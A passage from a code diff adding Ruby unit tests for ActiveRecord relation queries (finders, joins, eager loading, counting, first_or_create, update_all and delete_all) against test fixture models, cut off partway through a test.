+  def test_finding_with_order_limit_and_offset
+    entrants = Entrant.order("id ASC").limit(2).offset(1)
+
+    assert_equal 2, entrants.to_a.size
+    assert_equal entrants(:second).name, entrants.first.name
+
+    entrants = Entrant.order("id ASC").limit(2).offset(2)
+    assert_equal 1, entrants.to_a.size
+    assert_equal entrants(:third).name, entrants.first.name
+  end
+
+  def test_finding_with_group
+    developers = Developer.group("salary").select("salary").to_a
+    assert_equal 4, developers.size
+    assert_equal 4, developers.map(&:salary).uniq.size
+  end
+
+  def test_select_with_block
+    even_ids = Developer.all.select { |d| d.id % 2 == 0 }.map(&:id)
+    assert_equal [2, 4, 6, 8, 10], even_ids.sort
+  end
+
+  def test_joins_with_nil_argument
+    assert_nothing_raised { DependentFirm.joins(nil).first }
+  end
+
+  def test_finding_with_hash_conditions_on_joined_table
+    firms = DependentFirm.joins(:account).where(name: "RailsCore", accounts: { credit_limit: 55..60 }).to_a
+    assert_equal 1, firms.size
+    assert_equal companies(:rails_core), firms.first
+  end
+
+  def test_find_all_with_join
+    developers_on_project_one = Developer.joins("LEFT JOIN developers_projects ON developers.id = developers_projects.developer_id").
+      where("project_id=1").to_a
+
+    assert_equal 3, developers_on_project_one.length
+    developer_names = developers_on_project_one.map(&:name)
+    assert_includes developer_names, "David"
+    assert_includes developer_names, "Jamis"
+  end
+
+  def test_find_on_hash_conditions
+    assert_equal Topic.all.merge!(where: { approved: false }).to_a, Topic.where(approved: false).to_a
+  end
+
+  def test_joins_with_string_array
+    person_with_reader_and_post = Post.joins([
+        "INNER JOIN categorizations ON categorizations.post_id = posts.id",
+        "INNER JOIN categories ON categories.id = categorizations.category_id AND categories.type = 'SpecialCategory'"
+      ]
+    ).to_a
+    assert_equal 1, person_with_reader_and_post.size
+  end
+
+  def test_no_arguments_to_query_methods_raise_errors
+    assert_raises(ArgumentError) { Topic.references() }
+    assert_raises(ArgumentError) { Topic.includes() }
+    assert_raises(ArgumentError) { Topic.preload() }
+    assert_raises(ArgumentError) { Topic.group() }
+    assert_raises(ArgumentError) { Topic.reorder() }
+  end
+
+  def test_blank_like_arguments_to_query_methods_dont_raise_errors
+    assert_nothing_raised { Topic.references([]) }
+    assert_nothing_raised { Topic.includes([]) }
+    assert_nothing_raised { Topic.preload([]) }
+    assert_nothing_raised { Topic.group([]) }
+    assert_nothing_raised { Topic.reorder([]) }
+  end
+
+  def test_respond_to_delegates_to_arel
+    relation = Topic.all
+    fake_arel = Struct.new(:responds) {
+      def respond_to?(method, access = false)
+        responds << [method, access]
+      end
+    }.new []
+
+    relation.extend(Module.new { attr_accessor :arel })
+    relation.arel = fake_arel
+
+    relation.respond_to?(:matching_attributes)
+    assert_equal [:matching_attributes, false], fake_arel.responds.first
+  end
+
+  def test_respond_to_dynamic_finders
+    relation = Topic.all
+
+    ["find_by_title", "find_by_title_and_author_name"].each do |method|
+      assert_respond_to relation, method, "Topic.all should respond to #{method.inspect}"
+    end
+  end
+
+  def test_respond_to_class_methods_and_scopes
+    assert Topic.all.respond_to?(:by_lifo)
+  end
+
+  def test_find_with_readonly_option
+    Developer.all.each { |d| assert !d.readonly? }
+    Developer.all.readonly.each { |d| assert d.readonly? }
+  end
+
+  def test_eager_association_loading_of_stis_with_multiple_references
+    authors = Author.eager_load(posts: { special_comments: { post: [ :special_comments, :very_special_comment ] } }).
+      order("comments.body, very_special_comments_posts.body").where("posts.id = 4").to_a
+
+    assert_equal [authors(:david)], authors
+    assert_no_queries do
+      authors.first.posts.first.special_comments.first.post.special_comments
+      authors.first.posts.first.special_comments.first.post.very_special_comment
+    end
+  end
+
+  def test_find_with_preloaded_associations
+    assert_queries(2) do
+      posts = Post.preload(:comments).order("posts.id")
+      assert posts.first.comments.first
+    end
+
+    assert_queries(2) do
+      posts = Post.preload(:comments).order("posts.id")
+      assert posts.first.comments.first
+    end
+
+    assert_queries(2) do
+      posts = Post.preload(:author).order("posts.id")
+      assert posts.first.author
+    end
+
+    assert_queries(2) do
+      posts = Post.preload(:author).order("posts.id")
+      assert posts.first.author
+    end
+
+    assert_queries(3) do
+      posts = Post.preload(:author, :comments).order("posts.id")
+      assert posts.first.author
+      assert posts.first.comments.first
+    end
+  end
+
+  def test_preload_applies_to_all_chained_preloaded_scopes
+    assert_queries(3) do
+      post = Post.with_comments.with_tags.first
+      assert post
+    end
+  end
+
+  def test_find_with_included_associations
+    assert_queries(2) do
+      posts = Post.includes(:comments).order("posts.id")
+      assert posts.first.comments.first
+    end
+
+    assert_queries(2) do
+      posts = Post.all.includes(:comments).order("posts.id")
+      assert posts.first.comments.first
+    end
+
+    assert_queries(2) do
+      posts = Post.includes(:author).order("posts.id")
+      assert posts.first.author
+    end
+
+    assert_queries(3) do
+      posts = Post.includes(:author, :comments).order("posts.id")
+      assert posts.first.author
+      assert posts.first.comments.first
+    end
+  end
+
+  def test_default_scoping_finder_methods
+    developers = DeveloperCalledDavid.order("id").map(&:id).sort
+    assert_equal Developer.where(name: "David").map(&:id).sort, developers
+  end
+
+  def test_includes_with_select
+    query = Post.select("comments_count AS ranking").order("ranking").includes(:comments)
+      .where(comments: { id: 1 })
+
+    assert_equal ["comments_count AS ranking"], query.select_values
+    assert_equal 1, query.to_a.size
+  end
+
+  def test_preloading_with_associations_and_merges
+    post = Post.create! title: "Uhuu", body: "body"
+    reader = Reader.create! post_id: post.id, person_id: 1
+    comment = Comment.create! post_id: post.id, body: "body"
+
+    assert !comment.respond_to?(:readers)
+
+    post_rel = Post.preload(:readers).joins(:readers).where(title: "Uhuu")
+    result_comment = Comment.joins(:post).merge(post_rel).to_a.first
+    assert_equal comment, result_comment
+
+    assert_no_queries do
+      assert_equal post, result_comment.post
+      assert_equal [reader], result_comment.post.readers.to_a
+    end
+
+    post_rel = Post.includes(:readers).where(title: "Uhuu")
+    result_comment = Comment.joins(:post).merge(post_rel).first
+    assert_equal comment, result_comment
+
+    assert_no_queries do
+      assert_equal post, result_comment.post
+      assert_equal [reader], result_comment.post.readers.to_a
+    end
+  end
+
+  def test_preloading_with_associations_default_scopes_and_merges
+    post = Post.create! title: "Uhuu", body: "body"
+    reader = Reader.create! post_id: post.id, person_id: 1
+
+    post_rel = PostWithPreloadDefaultScope.preload(:readers).joins(:readers).where(title: "Uhuu")
+    result_post = PostWithPreloadDefaultScope.all.merge(post_rel).to_a.first
+
+    assert_no_queries do
+      assert_equal [reader], result_post.readers.to_a
+    end
+
+    post_rel = PostWithIncludesDefaultScope.includes(:readers).where(title: "Uhuu")
+    result_post = PostWithIncludesDefaultScope.all.merge(post_rel).to_a.first
+
+    assert_no_queries do
+      assert_equal [reader], result_post.readers.to_a
+    end
+  end
+
+  def test_loading_with_one_association
+    posts = Post.preload(:comments)
+    post = posts.find { |p| p.id == 1 }
+    assert_equal 2, post.comments.size
+    assert_includes post.comments, comments(:greetings)
+
+    post = Post.where("posts.title = 'Welcome to the weblog'").preload(:comments).first
+    assert_equal 2, post.comments.size
+    assert_includes post.comments, comments(:greetings)
+
+    posts = Post.preload(:last_comment)
+    post = posts.find { |p| p.id == 1 }
+    assert_equal Post.find(1).last_comment, post.last_comment
+  end
+
+  def test_to_sql_on_eager_join
+    expected = assert_sql {
+      Post.eager_load(:last_comment).order("comments.id DESC").to_a
+    }.first
+    actual = Post.eager_load(:last_comment).order("comments.id DESC").to_sql
+    assert_equal expected, actual
+  end
+
+  def test_to_sql_on_scoped_proxy
+    auth = Author.first
+    Post.where("1=1").written_by(auth)
+    assert_not auth.posts.to_sql.include?("1=1")
+  end
+
+  def test_loading_with_one_association_with_non_preload
+    posts = Post.eager_load(:last_comment).order("comments.id DESC")
+    post = posts.find { |p| p.id == 1 }
+    assert_equal Post.find(1).last_comment, post.last_comment
+  end
+
+  def test_dynamic_find_by_attributes
+    david = authors(:david)
+    author = Author.preload(:taggings).find_by_id(david.id)
+    expected_taggings = taggings(:welcome_general, :thinking_general)
+
+    assert_no_queries do
+      assert_equal expected_taggings, author.taggings.uniq.sort_by(&:id)
+    end
+
+    authors = Author.all
+    assert_equal david, authors.find_by_id_and_name(david.id, david.name)
+    assert_equal david, authors.find_by_id_and_name!(david.id, david.name)
+  end
+
+  def test_dynamic_find_by_attributes_bang
+    author = Author.all.find_by_id!(authors(:david).id)
+    assert_equal "David", author.name
+
+    assert_raises(ActiveRecord::RecordNotFound) { Author.all.find_by_id_and_name!(20, "invalid") }
+  end
+
+  def test_find_id
+    authors = Author.all
+
+    david = authors.find(authors(:david).id)
+    assert_equal "David", david.name
+
+    assert_raises(ActiveRecord::RecordNotFound) { authors.where(name: "lifo").find("42") }
+  end
+
+  def test_find_ids
+    authors = Author.order("id ASC")
+
+    results = authors.find(authors(:david).id, authors(:mary).id)
+    assert_kind_of Array, results
+    assert_equal 2, results.size
+    assert_equal "David", results[0].name
+    assert_equal "Mary", results[1].name
+    assert_equal results, authors.find([authors(:david).id, authors(:mary).id])
+
+    assert_raises(ActiveRecord::RecordNotFound) { authors.where(name: "lifo").find(authors(:david).id, "42") }
+    assert_raises(ActiveRecord::RecordNotFound) { authors.find(["42", 43]) }
+  end
+
+  def test_find_in_empty_array
+    authors = Author.all.where(id: [])
+    assert authors.to_a.blank?
+  end
+
+  def test_where_with_ar_object
+    author = Author.first
+    authors = Author.all.where(id: author)
+    assert_equal 1, authors.to_a.length
+  end
+
+  def test_find_with_list_of_ar
+    author = Author.first
+    authors = Author.find([author.id])
+    assert_equal author, authors.first
+  end
+
+  def test_find_by_id_with_list_of_ar
+    author = Author.first
+    authors = Author.find_by_id([author])
+    assert_equal author, authors
+  end
+
+  def test_find_all_using_where_twice_should_or_the_relation
+    david = authors(:david)
+    relation = Author.unscoped
+    relation = relation.where(name: david.name)
+    relation = relation.where(name: "Santiago")
+    relation = relation.where(id: david.id)
+    assert_equal [], relation.to_a
+  end
+
+  def test_multi_where_ands_queries
+    relation = Author.unscoped
+    david = authors(:david)
+    sql = relation.where(name: david.name).where(name: "Santiago").to_sql
+    assert_match("AND", sql)
+  end
+
+  def test_find_all_with_multiple_should_use_and
+    david = authors(:david)
+    relation = [
+      { name: david.name },
+      { name: "Santiago" },
+      { name: "tenderlove" },
+    ].inject(Author.unscoped) do |memo, param|
+      memo.where(param)
+    end
+    assert_equal [], relation.to_a
+  end
+
+  def test_typecasting_where_with_array
+    ids = Author.pluck(:id)
+    slugs = ids.map { |id| "#{id}-as-a-slug" }
+
+    assert_equal Author.all.to_a, Author.where(id: slugs).to_a
+  end
+
+  def test_find_all_using_where_with_relation
+    david = authors(:david)
+    # switching the lines below would succeed in current rails
+    # assert_queries(2) {
+    assert_queries(1) {
+      relation = Author.where(id: Author.where(id: david.id))
+      assert_equal [david], relation.to_a
+    }
+
+    assert_queries(1) {
+      relation = Author.where("id in (?)", Author.where(id: david).select(:id))
+      assert_equal [david], relation.to_a
+    }
+
+    assert_queries(1) do
+      relation = Author.where("id in (:author_ids)", author_ids: Author.where(id: david).select(:id))
+      assert_equal [david], relation.to_a
+    end
+  end
+
+  def test_find_all_using_where_with_relation_with_bound_values
+    david = authors(:david)
+    davids_posts = david.posts.order(:id).to_a
+
+    assert_queries(1) do
+      relation = Post.where(id: david.posts.select(:id))
+      assert_equal davids_posts, relation.order(:id).to_a
+    end
+
+    assert_queries(1) do
+      relation = Post.where("id in (?)", david.posts.select(:id))
+      assert_equal davids_posts, relation.order(:id).to_a, "should process Relation as bind variables"
+    end
+
+    assert_queries(1) do
+      relation = Post.where("id in (:post_ids)", post_ids: david.posts.select(:id))
+      assert_equal davids_posts, relation.order(:id).to_a, "should process Relation as named bind variables"
+    end
+  end
+
+  def test_find_all_using_where_with_relation_and_alternate_primary_key
+    cool_first = minivans(:cool_first)
+    # switching the lines below would succeed in current rails
+    # assert_queries(2) {
+    assert_queries(1) {
+      relation = Minivan.where(minivan_id: Minivan.where(name: cool_first.name))
+      assert_equal [cool_first], relation.to_a
+    }
+  end
+
+  def test_find_all_using_where_with_relation_does_not_alter_select_values
+    david = authors(:david)
+
+    subquery = Author.where(id: david.id)
+
+    assert_queries(1) {
+      relation = Author.where(id: subquery)
+      assert_equal [david], relation.to_a
+    }
+
+    assert_equal 0, subquery.select_values.size
+  end
+
+  def test_find_all_using_where_with_relation_with_joins
+    david = authors(:david)
+    assert_queries(1) {
+      relation = Author.where(id: Author.joins(:posts).where(id: david.id))
+      assert_equal [david], relation.to_a
+    }
+  end
+
+  def test_find_all_using_where_with_relation_with_select_to_build_subquery
+    david = authors(:david)
+    assert_queries(1) {
+      relation = Author.where(name: Author.where(id: david.id).select(:name))
+      assert_equal [david], relation.to_a
+    }
+  end
+
+  def test_exists
+    davids = Author.where(name: "David")
+    assert davids.exists?
+    assert davids.exists?(authors(:david).id)
+    assert ! davids.exists?(authors(:mary).id)
+    assert ! davids.exists?("42")
+    assert ! davids.exists?(42)
+    assert ! davids.exists?(davids.new.id)
+
+    fake = Author.where(name: "fake author")
+    assert ! fake.exists?
+    assert ! fake.exists?(authors(:david).id)
+  end
+
+  def test_exists_uses_existing_scope
+    post = authors(:david).posts.first
+    authors = Author.includes(:posts).where(name: "David", posts: { id: post.id })
+    assert authors.exists?(authors(:david).id)
+  end
+
+  def test_any_with_scope_on_hash_includes
+    post = authors(:david).posts.first
+    categories = Categorization.includes(author: :posts).where(posts: { id: post.id })
+    assert categories.exists?
+  end
+
+  def test_last
+    authors = Author.all
+    assert_equal authors(:bob), authors.last
+  end
+
+  def test_destroy_all
+    davids = Author.where(name: "David")
+
+    # Force load
+    assert_equal [authors(:david)], davids.to_a
+    assert davids.loaded?
+
+    assert_difference("Author.count", -1) { davids.destroy_all }
+
+    assert_equal [], davids.to_a
+    assert davids.loaded?
+  end
+
+  def test_delete_all
+    davids = Author.where(name: "David")
+
+    assert_difference("Author.count", -1) { davids.delete_all }
+    assert ! davids.loaded?
+  end
+
+  def test_delete_all_loaded
+    davids = Author.where(name: "David")
+
+    # Force load
+    assert_equal [authors(:david)], davids.to_a
+    assert davids.loaded?
+
+    assert_difference("Author.count", -1) { davids.delete_all }
+
+    assert_equal [], davids.to_a
+    assert davids.loaded?
+  end
+
+  def test_delete_all_with_unpermitted_relation_raises_error
+    assert_raises(ActiveRecord::ActiveRecordError) { Author.limit(10).delete_all }
+    assert_raises(ActiveRecord::ActiveRecordError) { Author.distinct.delete_all }
+    assert_raises(ActiveRecord::ActiveRecordError) { Author.group(:name).delete_all }
+    assert_raises(ActiveRecord::ActiveRecordError) { Author.having("SUM(id) < 3").delete_all }
+    assert_raises(ActiveRecord::ActiveRecordError) { Author.offset(10).delete_all }
+  end
+
+  def test_select_with_aggregates
+    posts = Post.select(:title, :body)
+
+    assert_equal 11, posts.count(:all)
+    assert_equal 11, posts.size
+    assert posts.any?
+    assert posts.many?
+    assert_not posts.empty?
+  end
+
+  def test_select_takes_a_variable_list_of_args
+    david = developers(:david)
+
+    developer = Developer.where(id: david.id).select(:name, :salary).first
+    assert_equal david.name, developer.name
+    assert_equal david.salary, developer.salary
+  end
+
+  def test_select_takes_an_aliased_attribute
+    first = topics(:first)
+
+    topic = Topic.where(id: first.id).select(:heading).first
+    assert_equal first.heading, topic.heading
+  end
+
+  def test_select_argument_error
+    assert_raises(ArgumentError) { Developer.select }
+  end
+
+  def test_count
+    posts = Post.all
+
+    assert_equal 11, posts.count
+    assert_equal 11, posts.count(:all)
+    assert_equal 11, posts.count(:id)
+
+    assert_equal 1, posts.where("comments_count > 1").count
+    assert_equal 9, posts.where(comments_count: 0).count
+  end
+
+  def test_count_with_block
+    posts = Post.all
+    assert_equal 10, posts.count { |p| p.comments_count.even? }
+  end
+
+  def test_count_on_association_relation
+    author = Author.last
+    another_author = Author.first
+    posts = Post.where(author_id: author.id)
+
+    assert_equal author.posts.where(author_id: author.id).size, posts.count
+
+    assert_equal 0, author.posts.where(author_id: another_author.id).size
+    assert author.posts.where(author_id: another_author.id).empty?
+  end
+
+  def test_count_with_distinct
+    posts = Post.all
+
+    assert_equal 3, posts.distinct(true).count(:comments_count)
+    assert_equal 11, posts.distinct(false).count(:comments_count)
+
+    assert_equal 3, posts.distinct(true).select(:comments_count).count
+    assert_equal 11, posts.distinct(false).select(:comments_count).count
+  end
+
+  def test_update_all_with_scope
+    tag = Tag.first
+    Post.tagged_with(tag.id).update_all title: "rofl"
+    list = Post.tagged_with(tag.id).all.to_a
+    assert_operator list.length, :>, 0
+    list.each { |post| assert_equal "rofl", post.title }
+  end
+
+  def test_count_explicit_columns
+    Post.update_all(comments_count: nil)
+    posts = Post.all
+
+    assert_equal [0], posts.select("comments_count").where("id is not null").group("id").order("id").count.values.uniq
+    assert_equal 0, posts.where("id is not null").select("comments_count").count
+
+    assert_equal 11, posts.select("comments_count").count("id")
+    assert_equal 0, posts.select("comments_count").count
+    assert_equal 0, posts.count(:comments_count)
+    assert_equal 0, posts.count("comments_count")
+  end
+
+  def test_multiple_selects
+    post = Post.all.select("comments_count").select("title").order("id ASC").first
+    assert_equal "Welcome to the weblog", post.title
+    assert_equal 2, post.comments_count
+  end
+
+  def test_size
+    posts = Post.all
+
+    assert_queries(1) { assert_equal 11, posts.size }
+    assert ! posts.loaded?
+
+    best_posts = posts.where(comments_count: 0)
+    best_posts.load # force load
+    assert_no_queries { assert_equal 9, best_posts.size }
+  end
+
+  def test_size_with_limit
+    posts = Post.limit(10)
+
+    assert_queries(1) { assert_equal 10, posts.size }
+    assert ! posts.loaded?
+
+    best_posts = posts.where(comments_count: 0)
+    best_posts.load # force load
+    assert_no_queries { assert_equal 9, best_posts.size }
+  end
+
+  def test_size_with_zero_limit
+    posts = Post.limit(0)
+
+    assert_no_queries { assert_equal 0, posts.size }
+    assert ! posts.loaded?
+
+    posts.load # force load
+    assert_no_queries { assert_equal 0, posts.size }
+  end
+
+  def test_empty_with_zero_limit
+    posts = Post.limit(0)
+
+    assert_no_queries { assert_equal true, posts.empty? }
+    assert ! posts.loaded?
+  end
+
+  def test_count_complex_chained_relations
+    posts = Post.select("comments_count").where("id is not null").group("author_id").where("comments_count > 0")
+
+    expected = { 1 => 2 }
+    assert_equal expected, posts.count
+  end
+
+  def test_empty
+    posts = Post.all
+
+    assert_queries(1) { assert_equal false, posts.empty? }
+    assert ! posts.loaded?
+
+    no_posts = posts.where(title: "")
+    assert_queries(1) { assert_equal true, no_posts.empty? }
+    assert ! no_posts.loaded?
+
+    best_posts = posts.where(comments_count: 0)
+    best_posts.load # force load
+    assert_no_queries { assert_equal false, best_posts.empty? }
+  end
+
+  def test_empty_complex_chained_relations
+    posts = Post.select("comments_count").where("id is not null").group("author_id").where("comments_count > 0")
+
+    assert_queries(1) { assert_equal false, posts.empty? }
+    assert ! posts.loaded?
+
+    no_posts = posts.where(title: "")
+    assert_queries(1) { assert_equal true, no_posts.empty? }
+    assert ! no_posts.loaded?
+  end
+
+  def test_any
+    posts = Post.all
+
+    # This test was failing when run on its own (as opposed to running the entire suite).
+    # The second line in the assert_queries block was causing visit_Arel_Attributes_Attribute
+    # in Arel::Visitors::ToSql to trigger a SHOW TABLES query. Running that line here causes
+    # the SHOW TABLES result to be cached so we don't have to do it again in the block.
+    #
+    # This is obviously a rubbish fix but it's the best I can come up with for now...
+    posts.where(id: nil).any?
+
+    assert_queries(3) do
+      assert posts.any? # Uses COUNT()
+      assert ! posts.where(id: nil).any?
+
+      assert posts.any? { |p| p.id > 0 }
+      assert ! posts.any? { |p| p.id <= 0 }
+    end
+
+    assert posts.loaded?
+  end
+
+  def test_many
+    posts = Post.all
+
+    assert_queries(2) do
+      assert posts.many? # Uses COUNT()
+      assert posts.many? { |p| p.id > 0 }
+      assert ! posts.many? { |p| p.id < 2 }
+    end
+
+    assert posts.loaded?
+  end
+
+  def test_many_with_limits
+    posts = Post.all
+
+    assert posts.many?
+    assert ! posts.limit(1).many?
+  end
+
+  def test_none?
+    posts = Post.all
+    assert_queries(1) do
+      assert ! posts.none? # Uses COUNT()
+    end
+
+    assert ! posts.loaded?
+
+    assert_queries(1) do
+      assert posts.none? { |p| p.id < 0 }
+      assert ! posts.none? { |p| p.id == 1 }
+    end
+
+    assert posts.loaded?
+  end
+
+  def test_one
+    posts = Post.all
+    assert_queries(1) do
+      assert ! posts.one? # Uses COUNT()
+    end
+
+    assert ! posts.loaded?
+
+    assert_queries(1) do
+      assert ! posts.one? { |p| p.id < 3 }
+      assert posts.one? { |p| p.id == 1 }
+    end
+
+    assert posts.loaded?
+  end
+
+  def test_to_a_should_dup_target
+    posts = Post.all
+
+    original_size = posts.size
+    removed = posts.to_a.pop
+
+    assert_equal original_size, posts.size
+    assert_includes posts.to_a, removed
+  end
+
+  def test_build
+    posts = Post.all
+
+    post = posts.new
+    assert_kind_of Post, post
+  end
+
+  def test_scoped_build
+    posts = Post.where(title: "You told a lie")
+
+    post = posts.new
+    assert_kind_of Post, post
+    assert_equal "You told a lie", post.title
+  end
+
+  def test_create
+    birds = Bird.all
+
+    sparrow = birds.create
+    assert_kind_of Bird, sparrow
+    assert !sparrow.persisted?
+
+    hen = birds.where(name: "hen").create
+    assert hen.persisted?
+    assert_equal "hen", hen.name
+  end
+
+  def test_create_bang
+    birds = Bird.all
+
+    assert_raises(ActiveRecord::RecordInvalid) { birds.create! }
+
+    hen = birds.where(name: "hen").create!
+    assert_kind_of Bird, hen
+    assert hen.persisted?
+    assert_equal "hen", hen.name
+  end
+
+  def test_first_or_create
+    parrot = Bird.where(color: "green").first_or_create(name: "parrot")
+    assert_kind_of Bird, parrot
+    assert parrot.persisted?
+    assert_equal "parrot", parrot.name
+    assert_equal "green", parrot.color
+
+    same_parrot = Bird.where(color: "green").first_or_create(name: "parakeet")
+    assert_kind_of Bird, same_parrot
+    assert same_parrot.persisted?
+    assert_equal parrot, same_parrot
+  end
+
+  def test_first_or_create_with_no_parameters
+    parrot = Bird.where(color: "green").first_or_create
+    assert_kind_of Bird, parrot
+    assert !parrot.persisted?
+    assert_equal "green", parrot.color
+  end
+
+  def test_first_or_create_with_block
+    parrot = Bird.where(color: "green").first_or_create { |bird| bird.name = "parrot" }
+    assert_kind_of Bird, parrot
+    assert parrot.persisted?
+    assert_equal "green", parrot.color
+    assert_equal "parrot", parrot.name
+
+    same_parrot = Bird.where(color: "green").first_or_create { |bird| bird.name = "parakeet" }
+    assert_equal parrot, same_parrot
+  end
+
+  def test_first_or_create_with_array
+    several_green_birds = Bird.where(color: "green").first_or_create([{ name: "parrot" }, { name: "parakeet" }])
+    assert_kind_of Array, several_green_birds
+    several_green_birds.each { |bird| assert bird.persisted? }
+
+    same_parrot = Bird.where(color: "green").first_or_create([{ name: "hummingbird" }, { name: "macaw" }])
+    assert_kind_of Bird, same_parrot
+    assert_equal several_green_birds.first, same_parrot
+  end
+
+  def test_first_or_create_bang_with_valid_options
+    parrot = Bird.where(color: "green").first_or_create!(name: "parrot")
+    assert_kind_of Bird, parrot
+    assert parrot.persisted?
+    assert_equal "parrot", parrot.name
+    assert_equal "green", parrot.color
+
+    same_parrot = Bird.where(color: "green").first_or_create!(name: "parakeet")
+    assert_kind_of Bird, same_parrot
+    assert same_parrot.persisted?
+    assert_equal parrot, same_parrot
+  end
+
+  def test_first_or_create_bang_with_invalid_options
+    assert_raises(ActiveRecord::RecordInvalid) { Bird.where(color: "green").first_or_create!(pirate_id: 1) }
+  end
+
+  def test_first_or_create_bang_with_no_parameters
+    assert_raises(ActiveRecord::RecordInvalid) { Bird.where(color: "green").first_or_create! }
+  end
+
+  def test_first_or_create_bang_with_valid_block
+    parrot = Bird.where(color: "green").first_or_create! { |bird| bird.name = "parrot" }
+    assert_kind_of Bird, parrot
+    assert parrot.persisted?
+    assert_equal "green", parrot.color
+    assert_equal "parrot", parrot.name
+
+    same_parrot = Bird.where(color: "green").first_or_create! { |bird| bird.name = "parakeet" }
+    assert_equal parrot, same_parrot
+  end
+
+  def test_first_or_create_bang_with_invalid_block
+    assert_raise(ActiveRecord::RecordInvalid) do
+      Bird.where(color: "green").first_or_create! { |bird| bird.pirate_id = 1 }
+    end
+  end
+
+  def test_first_or_create_with_valid_array
+    several_green_birds = Bird.where(color: "green").first_or_create!([{ name: "parrot" }, { name: "parakeet" }])
+    assert_kind_of Array, several_green_birds
+    several_green_birds.each { |bird| assert bird.persisted? }
+
+    same_parrot = Bird.where(color: "green").first_or_create!([{ name: "hummingbird" }, { name: "macaw" }])
+    assert_kind_of Bird, same_parrot
+    assert_equal several_green_birds.first, same_parrot
+  end
+
+  def test_first_or_create_with_invalid_array
+    assert_raises(ActiveRecord::RecordInvalid) { Bird.where(color: "green").first_or_create!([ { name: "parrot" }, { pirate_id: 1 } ]) }
+  end
+
+  def test_first_or_initialize
+    parrot = Bird.where(color: "green").first_or_initialize(name: "parrot")
+    assert_kind_of Bird, parrot
+    assert !parrot.persisted?
+    assert parrot.valid?
+    assert parrot.new_record?
+    assert_equal "parrot", parrot.name
+    assert_equal "green", parrot.color
+  end
+
+  def test_first_or_initialize_with_no_parameters
+    parrot = Bird.where(color: "green").first_or_initialize
+    assert_kind_of Bird, parrot
+    assert !parrot.persisted?
+    assert !parrot.valid?
+    assert parrot.new_record?
+    assert_equal "green", parrot.color
+  end
+
+  def test_first_or_initialize_with_block
+    parrot = Bird.where(color: "green").first_or_initialize { |bird| bird.name = "parrot" }
+    assert_kind_of Bird, parrot
+    assert !parrot.persisted?
+    assert parrot.valid?
+    assert parrot.new_record?
+    assert_equal "green", parrot.color
+    assert_equal "parrot", parrot.name
+  end
+
+  def test_find_or_create_by
+    assert_nil Bird.find_by(name: "bob")
+
+    bird = Bird.find_or_create_by(name: "bob")
+    assert bird.persisted?
+
+    assert_equal bird, Bird.find_or_create_by(name: "bob")
+  end
+
+  def test_find_or_create_by_with_create_with
+    assert_nil Bird.find_by(name: "bob")
+
+    bird = Bird.create_with(color: "green").find_or_create_by(name: "bob")
+    assert bird.persisted?
+    assert_equal "green", bird.color
+
+    assert_equal bird, Bird.create_with(color: "blue").find_or_create_by(name: "bob")
+  end
+
+  def test_find_or_create_by!
+    assert_raises(ActiveRecord::RecordInvalid) { Bird.find_or_create_by!(color: "green") }
+  end
+
+  def test_find_or_initialize_by
+    assert_nil Bird.find_by(name: "bob")
+
+    bird = Bird.find_or_initialize_by(name: "bob")
+    assert bird.new_record?
+    bird.save!
+
+    assert_equal bird, Bird.find_or_initialize_by(name: "bob")
+  end
+
+  def test_explicit_create_with
+    hens = Bird.where(name: "hen")
+    assert_equal "hen", hens.new.name
+
+    hens = hens.create_with(name: "cock")
+    assert_equal "cock", hens.new.name
+  end
+
+  def test_except
+    relation = Post.where(author_id: 1).order("id ASC").limit(1)
+    assert_equal [posts(:welcome)], relation.to_a
+
+    author_posts = relation.except(:order, :limit)
+    assert_equal Post.where(author_id: 1).to_a, author_posts.to_a
+
+    all_posts = relation.except(:where, :order, :limit)
+    assert_equal Post.all, all_posts
+  end
+
+  def test_only
+    relation = Post.where(author_id: 1).order("id ASC").limit(1)
+    assert_equal [posts(:welcome)], relation.to_a
+
+    author_posts = relation.only(:where)
+    assert_equal Post.where(author_id: 1).to_a, author_posts.to_a
+
+    all_posts = relation.only(:limit)
+    assert_equal Post.limit(1).to_a, all_posts.to_a
+  end
+
+  def test_anonymous_extension
+    relation = Post.where(author_id: 1).order("id ASC").extending do
+      def author
+        "lifo"
+      end
+    end
+
+    assert_equal "lifo", relation.author
+    assert_equal "lifo", relation.limit(1).author
+  end
+
+  def test_named_extension
+    relation = Post.where(author_id: 1).order("id ASC").extending(Post::NamedExtension)
+    assert_equal "lifo", relation.author
+    assert_equal "lifo", relation.limit(1).author
+  end
+
+  def test_order_by_relation_attribute
+    assert_equal Post.order(Post.arel_table[:title]).to_a, Post.order("title").to_a
+  end
+
+  def test_default_scope_order_with_scope_order
+    assert_equal "zyke", CoolCar.order_using_new_style.limit(1).first.name
+    assert_equal "zyke", FastCar.order_using_new_style.limit(1).first.name
+  end
+
+  def test_order_using_scoping
+    car1 = CoolCar.order("id DESC").scoping do
+      CoolCar.all.merge!(order: "id asc").first
+    end
+    assert_equal "zyke", car1.name
+
+    car2 = FastCar.order("id DESC").scoping do
+      FastCar.all.merge!(order: "id asc").first
+    end
+    assert_equal "zyke", car2.name
+  end
+
+  def test_unscoped_block_style
+    assert_equal "honda", CoolCar.unscoped { CoolCar.order_using_new_style.limit(1).first.name }
+    assert_equal "honda", FastCar.unscoped { FastCar.order_using_new_style.limit(1).first.name }
+  end
+
+  def test_intersection_with_array
+    relation = Author.where(name: "David")
+    rails_author = relation.first
+
+    assert_equal [rails_author], [rails_author] & relation
+    assert_equal [rails_author], relation & [rails_author]
+  end
+
+  def test_primary_key
+    assert_equal "id", Post.all.primary_key
+  end
+
+  def test_ordering_with_extra_spaces
+    assert_equal authors(:david), Author.order("id DESC , name DESC").last
+  end
+
+  def test_update_all_with_blank_argument
+    assert_raises(ArgumentError) { Comment.update_all({}) }
+  end
+
+  def test_update_all_with_joins
+    comments = Comment.joins(:post).where("posts.id" => posts(:welcome).id)
+    count    = comments.count
+
+    assert_equal count, comments.update_all(post_id: posts(:thinking).id)
+    assert_equal posts(:thinking), comments(:greetings).post
+  end
+
+  def test_update_all_with_joins_and_limit
+    comments = Comment.joins(:post).where("posts.id" => posts(:welcome).id).limit(1)
+    assert_equal 1, comments.update_all(post_id: posts(:thinking).id)
+  end
+
+  def test_update_all_with_joins_and_limit_and_order
+    comments = Comment.joins(:post).where("posts.id" => posts(:welcome).id).order("comments.id").limit(1)
+    assert_equal 1, comments.update_all(post_id: posts(:thinking).id)
+    assert_equal posts(:thinking), comments(:greetings).post
+    assert_equal posts(:welcome),  comments(:more_greetings).post
+  end
+
+  def test_update_all_with_joins_and_offset
+    all_comments = Comment.joins(:post).where("posts.id" => posts(:welcome).id)
+    count        = all_comments.count
